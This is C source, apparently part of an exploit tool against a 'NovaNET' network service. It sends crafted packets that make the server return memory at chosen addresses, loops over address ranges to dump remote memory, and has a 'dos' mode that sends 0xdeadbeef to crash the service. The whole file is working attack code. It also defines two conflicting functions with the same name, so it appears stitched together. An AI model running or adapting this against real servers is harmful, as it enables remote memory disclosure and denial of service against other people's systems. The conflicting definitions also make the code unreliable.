static int
novanet_read (char *host, void *start, void *dst)
{
fd_set r_fds;
struct timeval tv;
int fd, n;
char buf[NOVANET_PKT_SZ], rbuf[NOVANET_PKT_SZ];
novanet_read_pkt_init (buf);
start = (void *) NOVANET_CALC_INT (start);
fd = sockami (host, NOVANET_TCP_PORT);
if (fd == -1)
{
fprintf (stderr, "novanet_read: sockami failed\n");
exit (EXIT_FAILURE);
}
NOVANET_SET_INT (buf, (unsigned int) start);
if ((n = sock_send (fd, buf, sizeof buf)) != NOVANET_PKT_SZ)
{
fprintf (stderr, "novanet_read: sock_send returned %d (!= %d)\n",
n, NOVANET_PKT_SZ);
return (0);
}
FD_ZERO (&r_fds);
FD_SET (fd, &r_fds);
tv.tv_sec = 4; /* wait 4 seconds */
tv.tv_usec = 0;
n = select (fd + 1, &r_fds, NULL, NULL, &tv);
if (n == -1)
{
fprintf (stderr, "novanet_read: select() - %s\n", strerror (errno));
exit (EXIT_FAILURE);
}
else if (n)
{
if ((n = sock_recv (fd, rbuf, sizeof rbuf)) != NOVANET_PKT_SZ)
{
fprintf (stderr, "novanet_read: sock_recv returned %d (!= %d)\n",
n, NOVANET_PKT_SZ);
return (0);
}
}
else
{
fprintf (stderr, "novanet_read: select timeout, we may have crashed NovaNET :(\n");
exit (EXIT_FAILURE);
}
memcpy (dst, &rbuf[NOVANET_INT_IDX], sizeof (void *));
usleep (USLEEP_TIME);
close (fd);
return (1);
}
static void
novanet_read (char *host, void *start, void *end, int is_dos)
{
int sock, i, num_hits;
char buf[BUF_SIZE], rbuf[BUF_SIZE];
novanet_pkt_init (buf);
start = (void *) NOVANET_CALC_INT (start);
end = (void *) NOVANET_CALC_INT (end);
if (!is_dos)
printf ("start: %p end: %p\n", start, end);
num_hits = is_dos ? 1 : (end - start);
printf ("+hitting %s:%d. (%d times)\n", host, NOVANET_TCP_PORT, num_hits);
for (i = 0; i < num_hits; i++, start++)
{
sock = sockami (host, NOVANET_TCP_PORT);
if (sock == -1)
break;
NOVANET_SET_INT (buf, (is_dos ? NOVANET_CALC_INT (0xdeadbeef) : (unsigned int) start));
sock_send (sock, buf, sizeof buf);
if (!is_dos)
{
sock_recv (sock, rbuf, sizeof rbuf);
write (fileno (stderr), &rbuf[NOVANET_INT_IDX], sizeof (int));
usleep (USLEEP_TIME);
close (sock);
if (!((i + 1) % 8))
printf ("..%d", i + 1);
fflush (stdout);
}
}
printf ("\n");
}
